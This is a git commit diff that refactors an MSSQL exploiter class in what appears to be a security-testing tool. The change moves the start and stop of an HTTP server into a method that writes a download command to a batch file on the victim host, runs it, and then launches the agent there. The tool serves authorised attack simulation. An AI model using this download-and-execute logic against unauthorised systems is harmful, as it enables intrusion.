Agent: Encapsulate "monkey server" details in _upload_monkey()

This commit is contained in:
Mike Salvatore 2022-06-14 14:28:45 -04:00
parent 0204ba6343
commit 04460e1d44
1 changed files with 4 additions and 6 deletions

View File

@ -71,15 +71,9 @@ class MSSQLExploiter(HostExploiter):
return self.exploit_result return self.exploit_result
try: try:
# Create dir for payload
self._create_temp_dir() self._create_temp_dir()
http_thread = self._start_monkey_server(monkey_path_on_victim)
self._upload_monkey(monkey_path_on_victim) self._upload_monkey(monkey_path_on_victim)
MSSQLExploiter._stop_monkey_server(http_thread)
self.run_monkey(monkey_path_on_victim) self.run_monkey(monkey_path_on_victim)
self._remove_temp_dir() self._remove_temp_dir()
except Exception as e: except Exception as e:
error_message = ( error_message = (
@ -102,9 +96,13 @@ class MSSQLExploiter(HostExploiter):
self._run_mssql_command(mkdir_command) self._run_mssql_command(mkdir_command)
def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath): def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
http_thread = self._start_monkey_server(monkey_path_on_victim)
self._write_download_command_to_batch_file(monkey_path_on_victim) self._write_download_command_to_batch_file(monkey_path_on_victim)
self.run_payload_file() self.run_payload_file()
MSSQLExploiter._stop_monkey_server(http_thread)
def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)